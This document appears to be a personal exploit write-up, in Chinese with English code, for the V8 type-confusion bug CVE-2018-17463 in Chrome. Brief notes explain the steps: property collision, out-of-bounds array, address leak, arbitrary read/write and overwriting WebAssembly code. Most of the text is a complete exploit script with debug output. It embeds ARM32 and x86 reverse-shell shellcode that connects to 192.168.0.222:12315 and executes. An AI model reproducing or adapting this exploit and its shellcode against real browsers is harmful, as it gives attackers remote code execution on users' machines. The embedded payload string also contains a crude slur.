1. CVE-2018-17463 Chrome OOB Exploit
1.1. 1.find collision
obj = {
a: 0,
x0: 0x4040,
x1: 0x4101,
x2: 0x4102,
...
}
badCreate {
o.a
this.Object.create(o)
return 对象的 x1-xn的值 [o.x1, o.x2, ..., o.xn]
}
如果 xn != 0x4100 + n 说明碰撞成功
例如循环N次中:
obj = {
a: 0,
x0: 0x4040,
x1: 0x4101,
...
}
obj 经过badCreate 返回 [
0x4040, // x0
0x4041, // x1
0x4042, // x2
0x4043, // x3
0x4044, // x4
0x4042, // x5 == obj.x2
0x4046, // x6
0x4047, // x7
0x4048, // x8
...
]
找到了碰撞的两个值 分别为 x5 和 x2
假如原来 x5 = [obj + 0x10] 触发漏洞以后 x5 = [obj + 0x10] = x2的值
即内存相同偏移的数据改变了, 当我们要获取x5的值时, 其实拿到的是x2的值, 当要写入x5的值时, 其实写到的是x2的内存
1.2. 2.relative offsets
每次执行的碰撞值是不同的，如执行三次：
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x15 & x25 are collision in directory egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x21 & x8 are collision in directory egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x15 & x4 are collision in directory
在一次执行过程中，相同属性构造的Object，在DictionaryProperties中的偏移是相同的。
如获取一次碰撞数据之后，立即创建新的对象, 并将对象打印出来:
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x6 & x9 are collision in directory [!] set object base to 12340000 [0]: 49 [1]: 0 [2]: 128 [3]: 50 [4]: 0 [5]: x9 [6]: 12340009 [7]: 3008 [8]: x12 [9]: 12340012 ....
结果显示相同位置的 x6 数据和 x9 数据发生了碰撞，与前边寻找到的碰撞偏移结果相同。
1.3. 3.array oob
当前碰撞位置为数据，如果碰撞位置为对象的话，就可以通过写操作去修改对象属性
getCleanSpace() let oobArray = new Array(0x3) getCleanSpace() const oobArrayBuffer = new ArrayBuffer(0x2000) getCleanSpace() let oobObject = { a: 0x1111, b: 0x2222, c:0x3333 } getCleanSpace()
创建三个相邻对象，分别为 Array, ArrayBuffer, Object, 在内存中的布局(偏移通过调试获得):
----> Array ... +0xc: 00000006 length +0x14: 00000006 length ... ----> ArrayBuffer ... +0x10: 56c4b920 backing_store ... ----> Object ... +0xc: 00002222 #a +0x10: 00004444 #b +0x14: 00006666 #c ...
当我们碰撞的是 Array 和 Object 时, 我们修改 Object第一个值和第三个值, 相当于修改了 Array.length, 造成 Array 越界, 从而可以控制 ArrayBuffer.backing_store的指向，以及后边的Object对象
1.4. 4.leak object
oobArray越界之后, 找到 oobObject.a 在 oobArray 中的索引 index
之后通过 设置 oobObject.a = func 可以通过 oobArray[index] 泄漏 func 对象地址
1.5. 5.rw ability
oobArray越界之后, 找到 oobArrayBuffer.backing_store 在 oobArray 中的索引 index
之后通过 设置 oobArray[index] 来改变 oobArrayBuffer.backing_store 指向
最后通过 oobArrayBuffer 的 DataView 来进行读写操作
1.6. 6.shellcode
定义WebAssembly函数, 将 shellcode 覆盖导出函数，然后执行导出函数即可
写入位置为:
JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]
1.7. 7.exe flow
egg@ubuntu:~/Working/cve-2018-17463$ ./runexp [+] CVE-2018-17463 exists in the d8 [+] x15 & x13 are collision in directory [*] ---------- array oob before ---------- * [*] fArray[3]: [0] 0x0: 0x40404040 [0] 0x4: 0x0 [1] 0x8: 0x41414141 [1] 0xc: 0x0 [2] 0x10: 0xdeadbeef [2] 0x14: 0x0 [+] 2459 times, oob Array Length: 3 -> 16 [*] ---------- array oob after ---------- * [*] fArray[16]: [0] 0x0: 0x40404040 [0] 0x4: 0x0 [1] 0x8: 0x41414141 [1] 0xc: 0x0 [2] 0x10: 0xdeadbeef [2] 0x14: 0x0 [3] 0x18: 0x4fe051b9 [3] 0x1c: 0x2a9846d1 [4] 0x20: 0x2a9846d1 [4] 0x24: 0x2000 [5] 0x28: 0x57007de0 [5] 0x2c: 0x2 [6] 0x30: 0x0 [6] 0x34: 0x0 [7] 0x38: 0x4fe09859 [7] 0x3c: 0x2a9846d1 [8] 0x40: 0x2a9846d1 [8] 0x44: 0x8282 [9] 0x48: 0x2a9841a5 [9] 0x4c: 0x12a [10] 0x50: 0x62 [10] 0x54: 0x2a985425 [11] 0x58: 0x3a894cd1 [11] 0x5c: 0x10c80 [12] 0x60: 0x2 [12] 0x64: 0x3592e38d [13] 0x68: 0x204c80 [13] 0x6c: 0x2 [14] 0x70: 0x3592e39d [14] 0x74: 0x400480 [15] 0x78: 0x2 [15] 0x7c: 0x3592e3ad [*] find index of oobArray... [*] to fixed backing_store index 4,1 [+] backing_store index in oobArray: 5,0 [+] object index in oobArray:8,1 the gay is lazy, nothing left. [*] WebAssembly function return: 0x41414141 [+] JSFunciton addr: 0x421a1145 [+] SharedFunctionInfo addr: 0x421a1121 [+] WasmExportedFunctionData addr: 0x421a110d [+] WasmInstanceObject addr: 0x421a1035 [+] imported_function_targets addr: 0x5700c170 [+] rwx_entry addr: 0x2252c4e0 [*] write shellcode at rwx_entry memory: 0x2252c4e0 [*] dangerous to run shellcode...
1.8. exploit32
/*CVE-2018-17463 Incorrect side effect annotation in V8 in Google Chrome prior to 70.0.3538.64 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. adb logcat | grep chromium */ /* ---------- utils ---------- start ---------- */ class Log { constructor(l, s=false){ this.level = l this.syntax = s this.lv = { debug: 0, warn: 1, success: 2, error: 3, } } setLevel(l) { this.level = l } toString(v, l) { var s = v if (v.__proto__ === Object.prototype || v.__proto__ === Array.prototype) { s = JSON.stringify( v/*, function replacer(k, v) { if (Math.floor(v) === v) { return '0x' + v.toString(16) } return v }*/ ) } switch(l) { case this.lv.debug: return '[*] ' + s break; case this.lv.warn: return '[!] ' + s break; case this.lv.success: return '[+] ' + s break; case this.lv.error: return '[-] ' + s break; default: return s } } debug(v) { if(this.lv.debug >= this.level ) { if (this.syntax) { eval(`;%DebugPrint(v);`) } else { console.log(this.toString(v, this.lv.debug)) } } } warn(v) { if(this.lv.warn >= this.level ) { console.log(this.toString(v, this.lv.warn)) } } success(v) { if(this.lv.success >= this.level ) { console.log(this.toString(v, this.lv.success)) } } error(v) { if(this.lv.error >= this.level ) { console.log(this.toString(v, this.lv.error)) } eval(` throw new Error() `) } break() { if (this.syntax) { eval(`;%SystemBreak();`) } } /* print float Array */ fArray(a, bs=8) { if (this.level > this.lv.debug) { return } if(bs === 4) { console.log('[*] uArray[' + a.length + ']:') for(let i = 0; i < a.length; i++) { console.log('\t[' + i + ']:\t+0x' + (i*bs).toString(16) + ':\t0x' + a[i].toString(16)) } } else if(bs === 8) { console.log('[*] fArray[' + a.length + ']:') for(let i = 0; i < a.length; i++) { const [lo, hi] = funcUtils.f2u(a[i]) console.log('\t[' + i + ']\t' + '0x' + (i*bs).toString(16) + ':\t0x' + lo.toString(16)) console.log('\t[' + i + ']\t' + '0x' + (i*bs+(bs/2)).toString(16) + ':\t0x' + hi.toString(16)) } } } } const dlog = new Log(0, false) const __EXPERI__ = false const __ANDROID__ = true var funcUtils = ( function() { return { f2u: function(v) { let f64 = new Float64Array(1) let u32 = new Uint32Array(f64.buffer) f64[0] = v return u32 }, u2f: function(lo, hi) { let f64 = new Float64Array(1) let u32 = new Uint32Array(f64.buffer) u32[0] = lo u32[1] = hi return f64 }, utf8ToString: function(h, p) { let s = "" for (i = p; h[i]; i++) { s += String.fromCharCode(h[i]) } return s }, /* find value index of float array if bs === 4: return [index, 0/1] if bs === 8: return [indxe, 0] */ fArrayIndexOf: function(a, v, bs=4) { for(let i = 0; i < a.length; i++) { if (bs === 8) { if (a[i] === v) return [i, 0] } else if (bs === 4) { const [lo, hi] = this.f2u(a[i]) // console.log('0x' + lo.toString(16) + ', 0x' + hi.toString(16)) if (lo === v) return [i, 0] if (hi === v) return [i, 1] } } return null }, getWasmFunc: function() { /* int hack(int x) { int ret = puts("the gay is lazy, nothing left."); return ret + x; } */ let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,104,97,99,107,0,1,10,143,128,128,128,0,1,137,128,128,128,0,0,65,16,16,0,32,0,106,11,11,165,128,128,128,0,1,0,65,16,11,31,116,104,101,32,103,97,121,32,105,115,32,108,97,122,121,44,32,110,111,116,104,105,110,103,32,108,101,102,116,46,0]) let wasmImports = { env: { puts: function puts (i32) { // console.log(i32) // console.log('the gay is lazy, nothing left.') console.log(funcUtils.utf8ToString(h, i32)) return 0x41414141 } } } let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), wasmImports) let h = new Uint8Array(wasmInstance.exports.memory.buffer) return wasmInstance.exports.hack }, getWasmOff: function() { if (__ANDROID__) { // JSFunciton -> JS_TO_WASM_FUNCTION -> Instructions return [0x18, 0x40] } else { // JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x] return [0xc, 0x4, 0x8, 0x64, 0x0] } }, getShellCode: function() { if(__ANDROID__) { return [ /* arm32 reverse shell 192.168.0.222 12315 */ 0x02, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x00, 0x00, 0x50, 0xe3, 0x02, 0x00, 0x00, 0x0a, 0x00, 0x00, 0xa0, 0xe3, 0x01, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x42, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0xa0, 0xe3, 0x01, 0x10, 0xa0, 0xe3, 0x05, 0x20, 0x81, 0xe2, 0x01, 0x7c, 0xa0, 0xe3, 0x19, 0x70, 0x87, 0xe2, 0x00, 0x00, 0x00, 0xef, 0x00, 0x60, 0xa0, 0xe1, 0x6c, 0x10, 0x8f, 0xe2, 0x10, 0x20, 0xa0, 0xe3, 0x01, 0x7c, 0xa0, 0xe3, 0x1b, 0x70, 0x87, 0xe2, 0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1, 0x00, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1, 0x01, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1, 0x02, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x30, 0x00, 0x8f, 0xe2, 0x04, 0x40, 0x24, 0xe0, 0x10, 0x00, 0x2d, 0xe9, 0x36, 0x30, 0x8f, 0xe2, 0x08, 0x00, 0x2d, 0xe9, 0x0d, 0x20, 0xa0, 0xe1, 0x10, 0x00, 0x2d, 0xe9, 0x23, 0x40, 0x8f, 0xe2, 0x10, 0x00, 0x2d, 0xe9, 0x0d, 0x10, 0xa0, 0xe1, 0x0b, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x30, 0x1b, 0xc0, 0xa8, 0x00, 0xde, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x73, 0x68, 0x00, 0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x76, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x78, 0x62, 0x69, 0x6e, 0x00, 0x00, ] } else { return [ /* linux bash shell 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x89, 0xc1, 0x89, 0xc2, 0x6a, 0x0b, 0x58, 0xcd, 0x80, */ /* linux32 reverse shell 192.168.0.222 12315 */ 0x31, 0xc0, 0x89, 0xc3, 0x50, 0x6a, 0x01, 0x6a, 0x02, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80, 0x43, 0x68, 0xc0, 0xa8, 0x00, 0xde, 0x66, 0x68, 0x30, 0x1b, 0x66, 0x53, 0x89, 0xe1, 0x6a, 0x10, 0x51, 0x50, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80, 0x5b, 0x6a, 0x02, 0x59, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x79, 0xf9, 0x31, 0xc9, 0x31, 0xd2, 0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x31, 0xc0, 0xb0, 0x0b, 0xcd, 0x80, ] } } } } )() function gc() { for(var i=0;i<(1024*1024)/16;i++){ var a = new String() } } function getCleanSpace() { gc() gc() gc() } /* ---------- utils ---------- end ---------- */ var fixedObject = ( function() { let name = 'x' let length = 0x30 let base = 41410000 return { new: function() { var obj = { a: 0 } for(let n = 0; n < length; n++) { eval(`obj.${name + n} = ${base + n};`) } return obj }, attr: function() { var arr = [] for (let n = 0; n < length; n++) { arr[n] = name + n } return arr }, init: function() { name = 'x' length = 0x30 base = 41410000 }, get: function(t) { switch (t) { case 'n': return name case 'l': return length case 'b': return base default: return '' } }, set: function(t, v) { switch (t) { case 'n': name = v break case 'l': length = v break case 'b': base = v break default: break } }, oob: function(X, Y, oa) { /* collision: X, Y oobArray: oa */ var obj = { a: 0 } const x = name for(let n = 0; n<length; n++) { if((x + n) == X) { eval(`obj.${X} = { x: { x1: 4141, x2:2, x3:3, x4:4, x5:5 } }`) } else if ((x + n) == Y) { eval(`obj.${Y} = { y: oa }`) } else { eval(`obj.${x + n} = {}`) } } return obj } } } )() function findCollision() { const attrs = fixedObject.attr() const base = fixedObject.get('b') const name = fixedObject.get('n') const len = fixedObject.get('l') // the Collision values for [x, y] var COVS = new Array(2) eval(` function badCreate(o){ o.a this.Object.create(o) ${attrs.map((v) => `let ${v} = o.${v};`).join('\n')} return [${attrs.join(', ')}]; } `) for (let i = 0; i < 10000; i++) { // get bad object attr values. let av = badCreate(fixedObject.new()) // dlog.debug(i + ': ' + av) for (let j = 0; j < av.length; j++) { if(av[j] != j + base && av[j] > base && av[j] < base + len ){ // dlog.debug(i + ': ' + av[j] + ' Array=> ' + av) COVS[0] = name + j COVS[1] = name + (av[j] - base) // dlog.success(COVS[0] + ' & ' + COVS[1] + " are collision in directory") dlog.break() if(__EXPERI__) { // debug to check Relative offset fixedObject.set('b', 12340000) dlog.warn('set object base to ' + fixedObject.get('b')) obj = fixedObject.new() av = badCreate(obj) fixedObject.print(av) } return COVS } } } dlog.error('collision not found!') return false } function oobArrayLength(cols, oobArray, oobLen){ /* cols: 碰撞的两个对象 oobArray: 需要修改长度的Array对象 */ const orgLen = oobArray.length const [X, Y] = cols eval(` function badCreate(o){ o.a this.Object.create(o) // let ret = o.${X}.x.x1 o.${X}.x.x1 = oobLen o.${X}.x.x3 = oobLen // return ret } `) for (let i = 0; i < 10000; i++) { // let ret = badCreate(fixedObject.oob(X, Y, oobArray)) // dlog.debug('[' + i + ']: ' + ret + ', length: ' + oobArray.length) // if(ret != 4141) { if(oobArray.length != orgLen) { dlog.success(i + ' times, oob Array Length: ' + orgLen + ' -> ' + oobArray.length) return oobArray.length } } dlog.error('oob Array Length failed!') } function checkVul(){ function badCreate(o) { o.a // = 0x10 Object.create(o) return o.b } for (let i = 0; i < 10000; i++) { let obj = { a: 0x1 } obj.b = 0x4141 obj.c = 0x3 obj.d = 0x4 obj.e = 0x5 // r = obj元素个数 const r = badCreate(obj) // console.log(i + ' bad.b=0x' + r.toString(16)) if ( r !== 0x4141 ) { // dlog.success(i + ': ' + r + '!=' + obj.b) // console.log("CVE-2018-17463 exists in the d8") return true } } return false } function wasmFunc() { } function exploit() { if(checkVul()) { dlog.success('CVE-2018-17463 exists in the d8') } else { dlog.error('CVE-2018-17463 not exists in the d8') return false } getCleanSpace() let oobArray = new Array(0x3) oobArray[0] = 5.325793356e-315 // funcUtils.u2f(0x40404040, 0) oobArray[1] = 5.40900888e-315 // funcUtils.u2f(0x41414141, 0) oobArray[2] = 1.8457939563e-314 //funcUtils.u2f(0xdeadbeef, 0) getCleanSpace() let oobLen = 0x2000 let oobArrayBuffer = new ArrayBuffer(oobLen) getCleanSpace() let oobObj = { a: 0x4141 } getCleanSpace() const cols = findCollision() dlog.success(cols[0] + ' & ' + cols[1] + " are collision in directory") dlog.debug('---------- array oob before ---------- *') // dlog.debug(oobArray) dlog.fArray(oobArray) oobArrayLength(cols, oobArray, 0x10) dlog.debug('---------- array oob after ---------- *') // dlog.debug(oobArray) dlog.fArray(oobArray) /* uArray [*] fArray[16]: [0] 0x0: 0x40404040 [0] 0x4: 0x0 [1] 0x8: 0x41414141 [1] 0xc: 0x0 [2] 0x10: 0xdeadbeef [2] 0x14: 0x0 [3] 0x18: 0x28b04101 [3] 0x1c: 0x30 [4] 0x20: 0x25399731 [4] 0x24: 0xcccccccc [5] 0x28: 0xcccccccc [5] 0x2c: 0xcccccccc [6] 0x30: 0x50e851b9 [6] 0x34: 0x28b046d1 [7] 0x38: 0x28b046d1 [7] 0x3c: 0x2000 [8] 0x40: 0x57556db0 [8] 0x44: 0x2 [9] 0x48: 0x0 [9] 0x4c: 0x0 [10] 0x50: 0x50e89949 [10] 0x54: 0x28b046d1 [11] 0x58: 0x28b046d1 [11] 0x5c: 0x8282 [12] 0x60: 0x28b072e9 [12] 0x64: 0x3c585d6d [13] 0x68: 0x28b042ed [13] 0x6c: 0x0 [14] 0x70: 0x0 [14] 0x74: 0x28b042ed [15] 0x78: 0x4 [15] 0x7c: 0x28b042ed */ dlog.debug('find index of oobArray...') let backingStoreIndex = [] let objectIndex = [] // in release will 0x4000 let alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen) if (alIndex === null ) alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen*2) if (alIndex === null) { dlog.error('find backing_store index failde!') return false } else { dlog.debug('to fixed backing_store index ' + alIndex) } /* [5, 1] -> [6, 0] [5, 0] -> [5, 1] */ backingStoreIndex = [alIndex[0] + (alIndex[1]%2), (alIndex[1]+1)%2] dlog.success('backing_store index in oobArray: ' + backingStoreIndex) findV = oobObj.a * 2 objectIndex = funcUtils.fArrayIndexOf(oobArray, findV) dlog.success('object index in oobArray:' + objectIndex) function addrOf(obj) { /* read obj point by oobArray */ oobObj.a = obj const [index ,off] = objectIndex return funcUtils.f2u(oobArray[index])[off] } function unit32RW(address, type=1, value=0) { /* read/write value/array by oobArray.backing_store 1: read 2: write */ const [index ,off] = backingStoreIndex const [org0, org1] = funcUtils.f2u(oobArray[index]) let f64 = 0 if (off === 0) { [f64] = funcUtils.u2f(address, org1) } else if (off === 1) { [f64] = funcUtils.u2f(org0, address) } oobArray[index] = f64 // dlog.fArray(oobArray) var dv = new DataView(oobArrayBuffer) if(type === 1) { return dv.getUint32(0, true) } else if (type === 2) { if (value.__proto__ === Array.prototype) { for(let i = 0; i < value.length; i++) { dv.setUint32(i, value[i], true) } } else if (value.__proto__ === Number.prototype) { dv.setUint32(0, value, true) } } } const f = funcUtils.getWasmFunc() dlog.debug('WebAssembly function return: 0x' + f().toString(16)) const JSFunciton = addrOf(f) dlog.success('JSFunciton addr: 0x' + JSFunciton.toString(16)) let wasmOff = funcUtils.getWasmOff() let rwx_entry = 0 if (__ANDROID__) { const js2WasmCode = unit32RW(JSFunciton-1 + wasmOff[0]) dlog.success('JS_TO_WASM_FUNCTION addr: 0x' + js2WasmCode.toString(16)) const js2WasmIns = js2WasmCode-1 + wasmOff[1] dlog.success('Instructions addr: 0x' + js2WasmIns.toString(16)) rwx_entry = js2WasmIns } else { const SharedFunctionInfo = unit32RW(JSFunciton-1 + wasmOff[0]) if(SharedFunctionInfo === 0) dlog.error('SharedFunctionInfo = 0') dlog.success('SharedFunctionInfo addr: 0x' + SharedFunctionInfo.toString(16)) const WasmExportedFunctionData = unit32RW(SharedFunctionInfo-1 + wasmOff[1]) if(WasmExportedFunctionData === 0) dlog.error('WasmExportedFunctionData = 0') dlog.success('WasmExportedFunctionData addr: 0x' + WasmExportedFunctionData.toString(16)) const WasmInstanceObject = unit32RW(WasmExportedFunctionData-1 + wasmOff[2]) if(WasmInstanceObject === 0) dlog.error('WasmInstanceObject = 0') dlog.success('WasmInstanceObject addr: 0x' + WasmInstanceObject.toString(16)) let imported_function_targets = unit32RW(WasmInstanceObject-1 + wasmOff[3]) if(imported_function_targets === 0) dlog.error('imported_function_targets = 0') dlog.success('imported_function_targets addr: 0x' + imported_function_targets.toString(16)) /* if(true) { let rv = 0 for(let i = 0; i < 0x10; i++) { rv = unit32RW(imported_function_targets + i * 4) dlog.debug('imported_function_targets + 0x' + (i*4).toString(16) + ': 0x' + rv.toString(16)) } } */ rwx_entry = unit32RW(imported_function_targets + wasmOff[4]) } if(rwx_entry === 0) dlog.error('rwx_entry = 0') dlog.success('rwx_entry addr: 0x' + rwx_entry.toString(16)) dlog.debug('write shellcode at rwx_entry memory: 0x' + rwx_entry.toString(16)) let shellcode = funcUtils.getShellCode() unit32RW(rwx_entry, 2, shellcode) dlog.debug('dangerous to run shellcode...') f() } exploit()
Created: 2019-03-02 Thu 15:11
